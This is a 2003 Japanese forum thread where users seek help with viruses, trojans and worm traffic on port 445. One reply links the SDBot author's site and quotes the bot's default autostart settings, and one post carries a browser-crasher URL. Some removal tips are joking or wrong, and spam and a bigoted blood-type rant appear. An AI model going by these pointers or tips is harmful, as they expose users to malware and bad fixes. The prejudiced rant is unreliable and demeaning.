http://www.agemasukudasai.com/bloom/

>>116
ディスククリーンアップ（インターネット一時ファイルの削除）
したほうがいいっすよ。
それよりも、なんか怪しげなリンク（２ｃｈ内で？）
踏んだかを思い出してみたほうがいいですよ。

age

すみません。ウイルスバスター2003の検索でウイルスが確認されないにもかかわらず、
ファイアーウォールログに十数回/minものトロイの木馬ブロックがあるのはおかしいでしょうか？
ウイルスチェックに引っかからないため、どのように対応してよいのかわかりません。
よろしくおねがいしますm(_ _)m

>>121
トロイの木馬ブロックはインバウンド(外から内）をブロック。
ウィルスチェックはPC内部にトロイ等がいるかをスキャン。
"トロイの木馬ブロック"の意味がわかってないんでしょ。
まずは、トロイの木馬ブロックの意味をトレンドマイクロのサイトで検索汁。

昨日ホームページを見ていたら、突然すごい量のデータが送られてきてＰＣが不安定になりました。
その後インターネットの接続ができなくなったので、接続を見てみると、ユーザー名とパスワードが消去されていました。
おかししと思ってアンチウイルスをダウンロードしてチェックしたところ、HTML.Rodlof.Aに感染しているとのことで、感染しているものを2個削除しました。
でも、このウィルスについて調べたところ、症状が全く違っているので、本当にこのウィルスなのかどうか不安です。
昨日更新されたファイルを検索してみたところ、ちょうどＰＣがおかしくなった時間に大きなファイルが更新されています。
ウィルスチェックで問題部分を削除してあるのに、こういった変なファイルが残っているのでとても不安なのです。
単にウィルスチェックをし、ひっかかったファイルを削除するだけで問題は解決されるものなのでしょうか。
教えてください。よろしくお願いします。

>>123
ウィルスによる。
Redlofであることが確実なら、
http://www.ipa.go.jp/security/topics/newvirus/redlof.html参照。

アンチウィルスソフトは常駐させとけ。

↓↓↓↓↓★ココだ★↓↓↓↓↓
http://www.pink-angel.jp/betu/linkvp/linkvp.html

>>125

　そ　こ　か　ッ　！　！　！　

(ﾟДﾟ)ｺﾞﾙｧ!!

最近、ポート520に大量にパケットが送られてきますが
ウイルスでしょうか？

>>128
それ俺

>>122さん
レスありがとうございます。
自分はPCはそこまで詳しくはないのですが、トロイの木馬ブロックの意味は一応分かっているつもりです。
実は二週間ほど前にトロイが検出されたことがあって、それについてはtrendmicro社のHPどおりに
完全に除去できたのですが、その2,3日後から一分間に何回もHDがコリコリ鳴り出して、
原因を調べてみたらウイルスバスターのログにそれまでは一つもなかった木馬ブロックが一杯・・・
という状況なんです。
これはいったい、、、トロイ使いにPC覚えられて外部からアタックしようと狙われているのでしょうか？
それともこの状況は普通で、バスターご使用の皆さんも毎分何回も木馬ブロックがログに残っているものなのでしょうか？
なんだかPCの動作も若干ですが重くなったような気もしますし・・・
よろしくお願いします。

age

うちのNortonAntiVirusによるとVBSLoveLetter.Aというウイルスに感染した模様です。しかも削除すらできません。これどうしたらよいのでしょうか？詳しい方教えてやってください！

>>132
↓これっぽい気がするのだが、違うのであればSymantecのサイト
　 でとりあえず調べれ
ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/

>>132
あやしいメールは開かないようにね
http://www.symantec.com/region/jp/sarcj/data/v/fix.vbs.loveletter.html

ウイルスとウイルスが合体したウイルスのニュースの記事はどこですか？

age

http://a2ch1234.hp.infoseek.co.jp/
これは何でしょうか？
ﾌﾞﾗ蔵だという噂もあって踏むのが怖いんですが。
ノートン持ってるかたチェックお願いします

>>137
２ちゃんねらーPC環境調査 というページ

調査終了しますた。ご協力して頂いた方々、サンクス！
結果は↓にありまつ。。

とあり、円グラフでＯＳ、ブラウザ、ディスプレイ解像度、ディスプレイカラー数
が表示してあります。　　ＮＩＳ２００２無反応でした。。

今後はブラクラやウイルスの判定にラウンジまたはＦＬＡＳＨの
勇気がなくて見られない画像解説スレへお越しください。

ウイルスとその対策にはこちらのスレは有益です。
ログは貴重な財産でいつもこちらのスレを参考に
させていただいています。
あらためて、ありがとうございます。

>>137
この板では鑑定はやらない。

鑑定依頼は、ラウンジの
勇気がなくて見られない画像解説スレ Part303
http://ex.2ch.net/test/read.cgi/entrance/1046620158/l50へ。

http://www.agemasukudasai.com/bloom/

>>137
この板のブラクラスレにチェッカーのリンクがあるから自分で鑑定しろ。
ツールに頼らず鑑定できるスキルを身に付けることも重要。
view-source:http://... でソースを見ることが出来るから鍛錬しろ。

ウイルスは基本的にメールに











基本的にウイルスはメールにファイルが付いてあるはずです。そのファイルを開かなければウイルスに感染する心配はないと思います。
ウイルスがあると思われるメールは題名の文字が変な風になっていたり内容の文字がすべて英語でのようなメールは削除しましょう。

>>143は荒らしです。無視してください。
添付ファイルをクリックしなくても感染することがあります。
日本語の件名で来るウィルスメールもあるので信用しないこと。
アンチウィルスソフトを常駐させること。

age

age

教えてください。
Yahooのウェブメールを使用していますが、知り合いから受信したメールで容量が
約20KBで、開くとそれほど長くはない通常の文章の下に、記号のような文字がずらずらと
並んでいます。これってウィルスの可能性が高いのでしょうか？
ウィルスバスター2003（リアルタイム検索）は何も反応を示さないのですが、大丈夫と
いうことなのでしょうか。ちなみに添付ファイルはありません。

>>147
ウィルスバスター2003は何も反応を示さないんなら問題ないんじゃない。
知り合いに訊いてみたら？

フリーメールで送信したメールに広告のようなものが付加されることがある。
そうしたものが記号ずらずらとなってる可能性はある。

た　デ　ウ
だ　コ　イ
の　｜　ル
文　ド　ス
字　で　も
列　き
　 　な
　 　き
　 　ゃ

(・∀・)

>>148
有難うございました。一応知り合いにはウィルススキャンをしてみるよう
言ってみます。

「ネットサーフィンでもウイルスに感染する」――IPAが警告
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030304/2/

コンピュータウイルス・不正アクセスの届出状況について［要旨］
ネットサーフィンでの被害に注意！！
http://www.ipa.go.jp/security/txt/2003/03outline.html

もしかしてウィルスかもしれないんですが・・・
昨日からOutlookexpressやInternetexplore立ち上げても
回線接続用の小窓（『接続』とか『オフラインで使用』なんかのボタンがついてる窓）
が何度やってもでてきません。
今は仕方ないので、マイコンピューター→ダイヤルアップネットワーク→回線ダブルクリック
で接続してます。
更に各画面の右上に必ず出る−□×がいずれも０，１、ｒとかになってて
更にそういう細かい狂いが見られるのですがどうしたらいいでしょう。

この間英語のサイトからスクリーンセーバーをダウンロードしてから
AWS　WetherBugっていうのも勝手にダウンロードされて来たみたいで
画面の右下はし（時刻表示の隣）に起動時に出て来るようになりました。
これも原因かもと思うのですが、どうやったら自分で直せるかご存知の方いらっしゃいましたら
教えていただけませんか？

>>153
ttp://homepage2.nifty.com/winfaq/fontstrouble.html

ウィルスを駆除しようとしたらそのファイルが無くなっていました。
このままでは不安です。どう対処すれば良いですか？
再度スキャンしても反応がありません。

感染ファイルがないならそれでいいじゃん。
つか削除したんじゃないの？何でスキャンしたか知らんけど
あとまともに答えてほしかったら環境ぐらい書けよクズ

WindowsXP,IE6,VirusScanです。ウィルスはトロイの木馬でした。
駆除するときファイルが無いとエラーが出ました。たぶん削除はしてないと思います。
ディレクトリを確かめましたが見当たりませんでした。

>>157馬鹿フィースレで聞けば？ソースネ糞トのなんて常人は使わんし
ていうか、エラーログとかトロイの種類をさらに小出しにするあたり
誰も答えたくないと思うけど

携帯メールにKlezが着ました。

受信してもいいですか？

>>159
ご自由にどうぞ。

Arien.ｖｂｓとTalurahoma.ｖｂｓが組みこまれているんですけど
レジストリの削除のし方教えて下さい

今さっき踏んだ下記のリンク先のアドレスがcrashmeになっていました。
ttp://news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
オンラインスキャンに行き検索しようと試みましたが作動しません。
至急方法を教えてください。
宜しくお願いします。

何とか削除できました。
お騒がせして申し訳御座いませんでした。

age

あげ

>>162
スタート→ファイル名を指定して実行→regedit→編集→検索。

んでもあくまでも、自己責任で。

ここ数日で急にウイルスメールが増えました。
１日に５〜１０通は来ます。
増える時期なんでしょうか？

>>168
知らん。
ただ傾向から言って
長期休暇になるとたかがウィルスメールごときで書き込む奴が増えるのは確か

大量にウイルスメールが送られてきまふ。
タイトルや差出人は全部違うけど、
プロパティの詳細を見ると先頭にあるReturn-Path: っていうのが
全部同じアドレスです。
その人から来てるってことでつか？

>>170
KLEZでしょ。
その可能性が高いでふ。IPアドレスも調べませう。

age

age

質問です。
先日自宅のPCからトロイの木馬が検出されました。
ウイルスバスター2003が入っているため、検出されたファイルは隔離されたのですが、
以降ファイアーウォールログにトロイの木馬ブロックがかなりの頻度で現れます。

で、トレンドマイクロのHPをよく読んでみたところ、
コンピュータのシステムが改変された場合にはシステムの修復を行う必要があります
とかいてありました。具体的には下記のレジストリの値を削除すればよいようなのですが、
値がランダムであるため、どれを削除してよいかわかりません。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices

それぞれに含まれる値は以下のとおりなのですが、どれが削除すべき値（通常あるべきでない値）なのか
教えていただけないでしょうか。m(_ _)mよろしくおねがいします。

[Run]
（標準）
Configuration Setup
NeroCheck
PCCClinent.exe
pccguide.exe
Pop3trap.exe
QuickTime Task
Synchronization Manager
TM Outbreak Agent

[RunServices]
（標準）
Configuration Setup

>>174
TM Outbreak Agent
↑これ何だ？知らないということは大事だから捨てちゃダメYO-
↓これはバスターのだから消しても問題ないYO-
PCCClinent.exe
Pop3trap.exe

>>174
検出名は何？

>>175
知らないということは大事だから捨てちゃダメ･･･
バスターだから消して問題ない･･･
なんだか逆のような気がするのですが･･･

>>176
検出名はBKDR_SDBOT.05.Bです。リンクは↓です。
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR_SDBOT.05.B&VSect=T

TM Outbreak Agent
↑
これもバスターのタスクでしょ？
見たところ特に怪しそうなのは無いみたいだけど・・・

>>174
ここも参考にしてみれ
http://www.symantec.com/region/jp/sarcj/data/b/backdoor.sdbot.html

この前ウイルススキャンをしたら２ｃｈブラウザのスレから１０個くらいウイルスが出てきたんですが
スレにウイルスが貼られてるみたいでした。これを保存するとパソコンに何か影響が出るんでしょうか

>>180
>>2
ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/l50

>>181
影響はないんですね
ありがとうございます

みなさん、即レスありがとうございます。
格別怪しそうなのはないということなのですが、>>179さんのリンクをよんでみたところ、

トロイの木馬はシステムの再起動時に自分自身が必ず実行されるようにするために、次の値か、
Configuration Manager Cnfgldr.exe
System Monitor Sysmon16.exe
または上記に類似した値を次のレジストリキーに追加します。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

とありました。僕ので言うと、[Run][RunServices]の両方にある
Configuration Setup
が気になるところですが、これは通常あっておかしくないものなのでしょうか？

また、怪しいものが[Run][RunServices]にないばあい、ファイアーウォールログに
トロイの木馬ブロックが数十回/分で現れることの原因は何なのでしょう？
しかもログの送信／受信が「送信」になっているのですが・・・
PCがかなりの頻度でカリカリいって、動作が遅くなってしまっています。
度々ですみませんがご教唆くださいm(_ _)m

>>183
まだ完全に駆除されていないので、トロイが送信してると思われ。
感染によって作成されたレジストリを完全に削除しる。
亜種が多いので書かれている情報と違うことが多い。
トロイの木馬として検出されたファイルを参照している値も削除。

バスターを一時停止させて、ノートンやマカフィーの体験版で検出してみるのもいいかもしれない。
手に負えないようならOSごとクリーンインストールしる。

>>183
バスター常駐させていたのに感染したなら、
感染源も把握してきちんと対処しておくこと。
また同じことの繰り返しになる。IRCはやめた方がいいぞ。

>>183
ttp://sdbot.xx.net/
多分、これかYO-
e-mail: sdbotxx＠mail.ru
sonork id: 100.2600
icq: 21381594
irc: irc.lcirc.net, #sdbot
how to edit the source file

ソースでしかないYO-
リードミー見て自分でコンパイルしろYO-
作者にメールしてみてYO-

つか、基本はソース配布だから色々いぢって有るYO-
リードミは結構丁寧だYO-
（・３・）　アルェー　忘れたYO-

みなさんありがとうございます。
これで最後の質問にします。
[Run]ないし[RunServices]にConfiguration Setupという値は含まれていて良いものでしょうか？

>>188
（・３・）　Ｅェー　
OSはwin2ksp2でバスター2002だと、んな値ないＹＯ−

// sdbot05b.cのｿｰｽ、ﾃﾞﾎﾙﾄの値だと、
const char filename[] = "syscfg32.exe"; // destination file name
const BOOL regrun = TRUE; // use the Run registry key for autostart
const BOOL regrunservices = TRUE; // use the RunServices registry key for autostart
const char valuename[] = "Configuration Loader"; // value name for autostart
// 他のｳﾞｧｰﾁﾞｮﾝのｿｰｽは見てﾅｲＹＯ−

ちなみに186<<ﾄﾞﾒｲﾝとかﾒｱﾄﾞは伏字アルＹＯ−
欲しいｼﾄはｸﾞｸﾞﾙで見付けるＹＯ−

（・３・）　アグェー

age

C:\SystemVolumeInformation\_restore{4E0CD8E2-4D05-43EB-987A-EEBF20EEBEE59}\RP250\A0022512.vbs

ここにLoveLetterがいるそうなんですがドコに隠れてるんですか？
オンラインスキャンでは見つからなかったんですが。
ＡＶＧ６．０アンチウイルスシステムを使ってて検出されました

>>192
（・ё・）　Ｅェー
ﾀｲﾑﾏｼﾝで昔にかへったんだＹＯ−　

>>193
待ってたけど正直意味がわかりません

>>194
（・ё・）　Ｅェー
_restoreって何だＹＯ−
漏れウインドヅ2000だからわからないＣ−
ウインドヅﾒｰかＸＰなのかＹＯ−
つか、、「ＭＥ　ウイルス　駆除　リストア」でヤフでも検索するＣ−

>>192
以下参照。
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=5025

"どこに隠れてる"・・・って、そこに隠れてるんでしょ。
オンラインスキャンが利口になって、復元用フォルダは検索しなくなったのかな？

フリーメール（hotmail）にcellpaddingという件名のメールが届きました。付属ファイルは無かったです。メールを見てしまったのですが白紙で何も書いてありませんでした。
outlookで開いたのではなくIEでMSN,hotmailのページから開きました。付属ファイルではなくこのような白紙のメールでもウイルスがついていてIEで見た場合も感染している場合はあるのでしょうか？
一応ノートンでウイルススキャンしたのですが、見つからない場合もあるのかもと心配で質問させていただきました。

説明不足、分かりにくい点がありましたら申し訳ありません。もしよろしければどなたか意見をいただけませんでしょうか？

>>197
HTMLメールならありうるが、スキャンで発見される(自分で除外設定してなければ)から大丈夫。

>>197
自分で判定できない奴はバスターかノートン入れて、それを信用しろ。

>>197
知らないメールを開けれるあなたの神経が信じられない

皆様叱咤激励、感想、ご意見ありがとうございました。オンラインスキャンもしてみましたが発見されなかったので信じてみます。このアドレスはある予約受付に使用していたものでして、不注意で開いてしまったのは反省しようと思います。どうもありがとうございました。

>>197
http://by1fd.bay1.hotmail.msn.com/cgi-bin/dasp/links_shell.asp?curmbox=F000000001&a=593959d4d07014e6d853c0eaaeb40ad6&matter=faq&nl=1#q12

>>202参考
http://pc.2ch.net/test/read.cgi/sec/1021363841/381-382n

もういやだ。友達からウィルス来る度にセキユリティソフト入れろっていってるのに
ちっとも入れてくれない。
パソコンかえただのプロ場変えたから大丈夫だのちっとも解決にならないのに。
鬱蔚欝熨

>>204 http://life.2ch.net/yume/逝け

age

age

age

Norton AntiVirus 検疫ﾚﾎﾟｰﾄ
作成: 2003年3月8日 12:49:46
------------------------------------------------------------------------------

ﾌｧｲﾙ名
場所
状態 ｻｲｽﾞ ｳｨﾙｽ名
ﾕｰｻﾞｰ名 ｺﾝﾋﾟｭｰﾀ名 ﾄﾞﾒｲﾝ
検疫日
提出日

------------------------------------------------------------------------------

l50[2]
C:\WINDOWS\Temporary Internet Files\Content.IE5\RB08LIZZ
検疫 14.4 KB VBS.LoveLetter.A
unknownUser OEMCOMPUTER N/A
2003年3月8日 12:45:54
未提出

------------------------------------------------------------------------------
これどうしたらいいですか？

なんかPCものすごい変な音したんですけど。

http://tv.2ch.net/test/read.cgi/nhk/1028882027/l50
ここ読もうと思ったときでした。
危険なんでしょうか。

＜血液型A型の一般的な特徴＞（見せかけのもっともらしさ（偽善）に騙されるな！！）
●とにかく気が小さい(神経質、臆病、二言目には「世間」(「世間」と言っても、同じＡ型を中心とした一部の人間の動向に過ぎないのだが・・・）、了見が狭い）
●他人に異常に干渉し、しかも好戦的でファイト満々（キモイ、自己中心、硬直的でデリカシーがない）
●妙に気位が高く、自分が馬鹿にされると怒るくせに平気で他人を馬鹿にしようとする
（ただし、相手を表面的・形式的にしか判断できず(早合点・誤解の名人)、実際にはた
いてい、内面的・実質的に負けている）
●本音は、ものすごく幼稚で倫理意識が異常に低い（人にばれさえしなければＯＫ！）
●権力、強者（警察、暴走族…ｅｔｃ）に弱く、弱者には威張り散らす（強い者にはへつらい、弱い者に対してはいじめる）
●あら探しだけは名人級でウザイ（例え10の長所があってもほめることをせず、たった１つの短所を見つけてはけなす）
●基本的に悲観主義でマイナス思考に支配されているため性格がうっとうしい（根暗）
●単独では何もできない（群れでしか行動できないヘタレ）
●少数派の異質、異文化を排斥する(差別主義者、狭量）
●集団によるいじめのパイオニア＆天才(陰湿＆陰険）
●悪口、陰口が大好き（Ａ型が３人寄れば他人の悪口、裏表が激しい）
●他人からどう見られているか、人の目を異常に気にする（「〜みたい」とよく言う、
世間体命）
●自分の感情をうまく表現できず、コミュニケーション能力に乏しい（同じことを何度
も言ってキモイ）
●表面上協調・意気投合しているようでも、腹は各自バラバラで融通が利かず、頑固(本当は個性・アク強い）
●人を信じられず、疑い深い（自分自身裏表が激しいため、他人に対してもそう思う）
●自ら好んでストイックな生活をしストレスを溜めておきながら、他人に猛烈に嫉妬
する（不合理な馬鹿）　　
●後で自分の誤りに気づいても、強引に筋を通し素直に謝れない（切腹するしかない！）●自分に甘く他人に厳しい（自分のことは棚に上げてまず他人を責める。包容力がなく冷酷）
●男は、女々しいあるいは女の腐ったみたいな考えのやつが多い(例：「俺のほうが男
前やのに、なんでや！（あの野郎の足を引っ張ってやる！！）」）

あぼーん

この板は、LANや個人のPCへの侵入、トロイ、ウィルス等、
様々なネット上の危険からの防御法や対策を語りあうための板です。
掲示板の荒らし方や侵入の方法、メールボムの送り方等、
攻撃方法の質問はご遠慮下さい。
2ちゃんねるでは荒らし依頼は出来ません。
また、この板ではアタック依頼は受け付けません。
攻撃依頼を見かけた方は、放置してください。
ネット犯罪の被害者になってしまった方は、まず警察にご相談下さい。

次の質問どうぞ
　↓　↓　↓

>>209-211
>>2
・ノートンを使用して誤反応かな と思う人はこちら
ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/l50

ﾉｰﾄﾝ2003を入れてからｳｨﾙｽ警告が頻発します。
OS:WIN2000SP3
「Backdoor.IRC.Zcrew」「IRC Trojan」「BAT.Trojan」
等です。どうも発生源は「system32」のフォルダみたいなのですが
B'SRecoder等ではシェルを起動すると「mIRCR」と言うソフトが
一緒に起動してしまいます。
感染源のフォルダ考えると再インストールしかないですかね．．．。
先日LAN接続を止めたのが駄目だったかな。

やっぱりｳｲﾙｽ対策ｿﾌﾄも相当古くなったｳｲﾙｽは発見しなくなるんですか？

どもです。あのぉ、W32.Opaserv.K.Wormに感染しんですが
電源を入れるとnoticeと出て、www.bsa.orgのホムペが表れて以後
動かなくなってしまうんですが、どしたら復活するんでしょうか？
おながいしまっす。OSは９８です。

>>218
ttp://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=4939
ttp://www.symantec.com/region/jp/sarcj/data/w/w32.opaserv.worm.removal.tool.html

お好きなほうの修復ツールを使ってください。


余談ですが、野球好きですか？

>>216
Symantec推奨の通り、最新の定義ファイルで、セーフモードで起動してスキャンしたらどうでしょか。
http://www.symantec.com/region/jp/sarcj/data/b/backdoor.irc.zcrew.html

>>217
あまりにも古いのは、定義ファイルから外されたりするらしです。

age

REDLOFが未だに流行ってるんですが。
しかもトレンドマイクロ社のＨＰ見たらランキング順位上がってるという罠。

そんなこというならバッドトランスだってニムーダだってそれなりに流行ってるＹＯ！

age

突然445/TCP宛のパケットが沢山来るようになったんだけど、
何か新たにはやってるワームとかってあるのかな？

>>225
恐らくコレかと。
http://nyamco.ath.cx/nyamco/source/7280.jpg

>>226
うんこぉぉぉぉぉー

>>225

http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.deloder.html

これかと

Winvncが勝手にインストールされて困っています。

WINNT\Fontsディレクトリに
explorer.exe/rundll32.exe/vnchook.dll/omnithread.dll
WINNT\system32ディレクトリに
dvldr32.exeが作成され、
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run
にもキーが書かれていて、
実行ファイル・レジストリともに何度消しても復活してきます。

この症状になってから、通信量が膨大になっているようです。

>>39さんのようにPSEXESVC.EXEがプロセスに存在したので
TROJ_FLOOD.BI.DRかなと思ったのですが、
STDE9.exeは存在せず
シマンテック・ウイルスバスター両方のオンライン検索で全ドライブスキャンしても
何も検出されません。

Winvncというソフトは、今まで使った覚えは全くないです。

HDDをフォーマットしOS再インストしただけの状態でも現れたので
バックアップにまわしている、ファイルだけが置いてある内蔵HDDから経由したのでしょうか。
フォーマット後、バックアップドライブの方は一切さわってなかったのですが・・・。

ていうかメインドライブ3回フォーマットしても出てきやがる(´Д⊂ヽ

度忘れ。環境はWin2kSP3・IE6・CATV接続です。

http://www.nai.com/japan/virusinfo/virW2002.asp?v=WinVNC
マカフィーのWinvnc情報には勝手にコピーする云々って書いてあるけど
個人的にはCATV経由って気がしないでもない

詳しくしらないけど、元は遠隔操作用のソフトじゃないかな。
ttp://www.amy.hi-ho.ne.jp/masuda/pc/vnc/index.html
これを改造してウイルスぽくしたものだと思うけど。
これ以上情報を流さないために、とりあえず不必要なポートを閉じるのが先決かと。
あと、
HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3\AuthRequired
想像だけどこういうレジストリあったら1にするといいかも。

おぉ、同時カキコだ。やっぱウイルスだったのか。

>>231 >>232
ありがとうございますー。
でも、マカフィーのトライアル版でもスキャンしてみたんですけど
何もでてこないんですよねぇ・・・。
今はレジストリ・実行ファイルとも消したまんま出てきてないんで、
また復活してたら試してみまっす。

>>HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3\AuthRequired
>>想像だけどこういうレジストリあったら1にするといいかも。

これもその時に。

age

ura2ch　ura2ch

>>229
俺も全く同じ状況だった。
環境は、win2k・IE6・ADSLです。
dvldr32.exeが一分間に2,300回のアクセスをしてた（鬱
とりあえず、ファイルとレジストリ削除して再起動したら
きちんと消えてたよ。復活したらやだなぁ。

ちょっと前にsdbot.genとIRC.FLOODに感染してたため、
２週間ほど前に駆除してました。関係あるかな？

完全に駆除できるまでは、zoneでブロックしときます・・・。

>>HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3\AuthRequired
>>想像だけどこういうレジストリあったら1にするといいかも。

\AuthRequiredはありませんでした。

S社・T社・N社（）製のものは結構ウイルス検出で失敗してます。
詳しくはこちらのサイトご覧下さい・・・（イギリスの独立機関）
ttp://www.virusbtn.com/vb100/archives/tests.xml?200302
ちなみに検出で失敗がないのはVirus Chaserだけだったと思うが・・・
（但しフリーソフトは調査対象外）

最近新種のワームに感染しまくり。
いちいち消すのがめんどい。
ワーム糞食らえだよ・・・。
バスター入れてても、あんまり役に立たんよ。

>>229
正直、CATVの環境はやばいと思う。
漏れもそうだが、CATVがかなり狙われてると思う。
おっと、書いてる途中にも感染しやがった・・・。

age

W32.HLLW.Deloder
http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.deloder.html

WORM_DELODER.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_DELODER.A

>>238S社・T社・N社100%になってるが？どこぞの社員さんですか？

>>243
そんな解りきった事、もちろん(ry

うーめんどいな。。。。

100％という表示は「100％OK」という意味ではありません。
詳細情報はこのページから各商品ごとに見て行ってつかーさい。
S社；http://www.virusbtn.com/vb100/archives/products.xml?symantec.xml
　　　「Overview」　Result summary: 19 passes / 6 fails
T社；http://www.virusbtn.com/vb100/archives/products.xml?trend.xml
　　　「Overview」　Result summary: 4 passes / 7 fails
N社：http://www.virusbtn.com/vb100/archives/products.xml?nai.xml
　　　「Overview」　Result summary: 10 passes / 16 fails

英語表示だからメンドイケドよく読んでね。
（もしかしてそちらが上記３社のうちの社員さん？）

Winvnc漏れもｲﾝｽｺされますた。
環境は、やはりWin2k
しつこくｲﾝｽﾄを要求されるので思わずokを押してしまった。
実行後、ｱﾌﾟﾘｹｰｼｮﾝの追加と削除でｱﾝｲﾝｽﾄｰﾙできるみたい。
どの程度ｸﾘｰﾝになるのかは不明

【奇跡よ、】田代まさしを１位にしよう！【再び！】


春の訪れを感じる今日この頃、皆様にはますますご健勝のことと思います。
さて、この度、我が２ちゃんねる祭り板において、下記のような祭りを開催いたしており、
皆様にも援助をしていただきたく、依頼に参った次第であります。
何卒、よろしくお願い申し上げます。

★21世紀偉人投票所★
http://m2ok1.no-ip.com/vote/tvote.cgi?event=vote1

私もDELODERに感染してました。
>>237さんと同様で、環境は、win2k・IE6・ADSLです。
先週、IRC.FLOODに感染してました。何か関係が有るのでしょうか？
私はバスター入れてますが、気付いたときはinst.exeとexplorerが
常駐してまして、ちょっと焦りました。

DELODER うざいね。
445 (Direct Hosting) を定期的に飛ばしている馬鹿がいたけど、
先週末から急に増えたんで、「また、Windows でなんかはやってんなぁ」と思ってた。
おれ ybb だけど、この 36 時間で外部からコネクトしてくるパケットの
144 / 738 (19.51)% が 445 だ。
まぁ先週は ybb 内で broadcast や multicast 飛ばしててる香具師が多かったから
実際はほとんどが DELODER だね。

あ、ほんとだ凄い
日ごろログなんか見てないから気にしてなかったけど445がいっぱい
137の時はYBBで蚊帳の外だったから少し嬉しい

http://www.pink-angel.jp/betu/linkvp2/linkvp.html
★その目で確認すべし！！★超おすすめ★

137も相変わらず多いが445はもっと多くなったな。

445大漁！

>>249
YBBって…オマエ、その時点で

やたらと同プロバイダから来ていた137がぴたっと止まった。
やっと気づいたのか？
で、皆様と同じように445が来てます。
同じＩＰが３回連続（希に２回）で叩いてくるな。

うちは２回ワンセット、ポートスキャンと通信の要求。
みんなウリナラからだけど。

>>255-256
TCPなんだから連続しても何の不思議も無い。

つまり、
・ポート445が開いてて
・ユーザ名Administratorが有効で
・パスワードが簡単なﾔﾂ
が危険ってことでいいですか？

>>258
Administratorの名前変えてる香具師なんているの？

俺変えてる

標準の名前をそのまま使ってるのは危険

変えるのが普通だろ

既知のadministratorは変えるのが鉄則、当然パスワードも設定。
アカウント名もパスワードも簡単な単語等は厳禁。

>>261-263
漏れはAdminでログインする事なんて滅多に無いから複雑で長いパス設定して終わり。

>>254
別に家で使うんだったら問題ないぜ。俺はね。
会社で B-Flet's + so-net だけど、やってくるパケットは似たようなもん。
むしろ、so-net の方は net-bios 絡みがガンガンくるね。
両方とも LinuxBox で Netfilter を利用した router を構築してるよ。
# 今は会社の管理権限がないけどな。

貼っとく

Tips for Windows
Administratorアカウントの名称を変更する
http://www.zdnet.co.jp/help/tips/windows/w0523.html

age

>>261-263
(･3･)　エェー
朕はAdminでログインする事なんて滅多に無いＹＯ−
その代わりいつものアカウントはフル権限にしてるＹＯ−
その代わりパスは英数字16文字だＹＯ−
NTLMハッシュ抜いて解きたいしとは、気長に待つか、分散コンプユーテングでもしてＮＥ

BKDR_DOMWIS.Aというウィルスに感染してしまったようなのですが、
以下のURLの通りレジストリの値を削除して再起動したのですが、
感染源の実行ファイルを削除できません。どうしたら良いのでしょう？
(´Д⊂ｸﾞｽﾝ

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR_DOMWIS.A

>>269
OSは？削除できないファイルのパスは？

>>268
（・３・）　オゥ　一緒だYO

>>269
それ良く出来てるね。
XPのホームなんてパス設定しないで入れてるﾔｼ多いし。むしろそこが狙い目かにょ。
漏れの友達もパス忘れるの嫌がって設定してないし。。。
つか、組み込みパスリストの中に、「2600」有るのは藁ったぢょ。
XPのホームってデフォルトでADMINアカウント組み込んで有るらしいけど、それって
デフォルトでもリモートからログイン許してるの？

でろだー

でないだー

>>228 返事遅くなりました。どうもありがとう！

>>270
　(´Д⊂ｸﾞｽﾝ　WINNTフォルダ内のRUNDLL16.EXEです。
ご教示お願い致します。
ちなみにOSはWindows2000Proです。

>>273返事遅くなりました。どうもありがとう！

>>272
（・３・）　エェー　セーフモードと回復コンソールでしかログイン出来なかった気がするYO

>>268
> いつものアカウントはフル権限にしてるＹＯ−
うっかり変なものインストールして脂肪の予感…

>>276
そうなのでつか。安心でつ。
デホルトのアカウントだとむしろw2Kの方が怖いのでつか。
つか、XPでもパス空白にしてれば同じでつか。

>272は思わずDELODER_Aと勘違いしてカキコしてしまいました。>>269と全然関係ないね。欝。

>>277でした
欝欝。

445 をﾌﾞﾛｯｸしました｡ 詳細:
ｲﾝﾊﾞｳﾝﾄﾞ TCP 接続
ﾛｰｶﾙｱﾄﾞﾚｽ､ ｻｰﾋﾞｽは 64.119.215.116,445
ﾘﾓｰﾄｱﾄﾞﾚｽ､ ｻｰﾋﾞｽは 218.24.69.17,3803

210.220.67.147　　219.140.141.114
203.69.17.70　　210.111.21.97
203.185.20.140　61.102.14.60
218.113.116.10　211.154.210.45
24.29.132.253　211.242.7.111
210.127.217.158　 218.162.28.128

ポート４４５スレはここでいいのか？

デロダーについての質問なのですが、
どのパスワード使って侵入するんですか？
フリーメールのパスワードとか、
懸賞応募のパスワードとかでも
侵入されるんでしょうか…？

何故か再起動かけてもRUNDLL16.EXEのレジストリが
復活してしまいます。｡･ﾟ･(ﾉД`)･ﾟ･｡ うえええん

>>283
sex

sax

>>266のやり方で変更しようと思ってるんですが
ローカルセキュリティポリシーが見つからないんですが
どこにあるんでしょうか？OSはXPです。

>>287
肛門

探したけどありませんでした。

肛門になかった?奥まで探したのか?
gpedit.msc
secpol.msc
mmc

Antidoteで毎日更新しようとしても、
開いたページが真っ白、何もない状態なんですが。

>>287
safeモードで起動しる

>>289
（・３・）　エェー　HomeEditionだRO〜　ProにしかないYO

